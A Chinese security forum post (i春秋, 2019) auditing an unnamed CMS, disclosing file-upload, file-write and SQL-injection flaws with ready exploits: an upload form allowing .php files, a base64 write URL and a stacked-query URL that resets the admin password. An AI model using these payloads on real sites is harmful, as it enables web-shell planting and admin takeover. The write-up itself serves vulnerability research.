用户
搜索
  • TA的每日心情
    无聊
    2018-12-1 01:22
  • 签到天数: 25 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    20

    主题

    409

    帖子

    208

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2016-3-19

    i春秋签约作者

    发表于 2019-1-10 14:06:31 69494

    前台getshell第一处:

    漏洞文件:\app\controller\File.php  中的upload函数:

    因为$options变量我们外部可控,导致我们可以设置允许的上传后缀。跟进upload方法:

    checkFileType方法代码:

    copyfile方法代码:

    造成任意文件上传,并且此upload方法没有验证任何权限,属于公共方法,导致无需任何权限。

    漏洞利用:Exp.html:

    <html>
    <body>
    <form action="http://xxx/file/upload/?options[allow_type]=php&options[input_name]=file&options[path]=./upload&options[size]=1000000&options[is_rand_name]=0" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file"/>
    <input type="submit" name="submit" value="Submit" />
    </form>
    </body>
    </html>

    路径:域名/upload/文件名.php    这里的文件名就是上传时的文件名,不会重命名。

    前台getshell第二处:

    漏洞文件:\app\controller\User.php  中的base64Upload方法:


    直接写入了文件,且并未判断文件后缀,导致了任意文件写入。
    P.S:这段写入代码在我遇见的好几个cms中都存在,导致都造成了任意文件写入。

    漏洞利用:
    先登录会员(默认开启注册)->然后直接访问payload即可写入php文件:
    Payload:http://xxxx/user/base64Upload/?options[base64]=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==&options[path]=./
    会在根目录生成一个以会员的uid为文件名的文件。
    这个uid怎么得到,如图:


    前台sql注入

    漏洞文件:\app\controller\User.php   中的fanslist方法:

    注:该类的构造方法没验证任何权限,验证权限在对应的方法里面,但该方法未验证任何权限,所以无需任何权限即可访问该方法。
    跟进friend::getlist方法:


    继续跟进_select方法:

    直接拼接到了limit后面导致了注入,且使用的PDO连接方式,支持多语句查询。

    漏洞利用:直接修改管理员账号密码。
    Payload:
    http://xxxx/user/fansList/?options[user_id]=1&options[pagesize]=1;update%20user%20set%20username=123456,password='e10adc3949ba59abbe56e057f20f883e';
    成功修改管理员账号,密码都为:123456

    注:user表中id=1的才是管理员,等于其他的都是会员,不是管理员。所以可以直接修改id=1的数据,或者修改id为你插入的数据,记得修改原来的id=1为其他,不然冲突。

    还有一处sql注入:
    漏洞文件:\app\controller\Column.php   中的list方法:

    注:该类没有构造方法,该方法未验证任何权限,所以无需任何权限即可访问该方法。分析如上。

    总结:本来最开始是想找sql注入的,但是where方法中用了参数绑定,而且使用都是数组,导致where方法上一直没找到注入,后来干脆放弃找注入,找下其他的漏洞,就找到了两处getshell的地方,后面又转回来再找sql注入,成功找到了sql注入。挖洞就是不抛弃不放弃,只要下够了功夫,肯定能挖到漏洞的。

    最后:本来是想不写利用,说明什么cms,有兴趣的可以自己去看看,但是他官网也用的同一套源码,害怕有淘气的去破坏人家官网,所以直接打码了,源码也比较小众简单,大家看看就是了。见谅。

    评分

    参与人数 2积分 +20 魔法币 +15 收起 理由
    手机用户PW_P9U + 5
    zzconfig + 20 + 10 小表哥,有两下子,奖励10币

    查看全部评分

    感谢作者分享~~~~
    使用道具 举报 回复
    发表于 2019-1-10 20:09:59
    本帖最后由 zzconfig 于 2019-1-10 20:12 编辑

    不错不错,前台getshell都放送了
    大方的人要奖励
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
    使用道具 举报 回复
    最近正在研究代码审计有用
    使用道具 举报 回复
    发表于 2019-1-11 14:37:23
    有兴趣的可以自己去看看
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    weqweqwfsdfsdfsdfsd
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册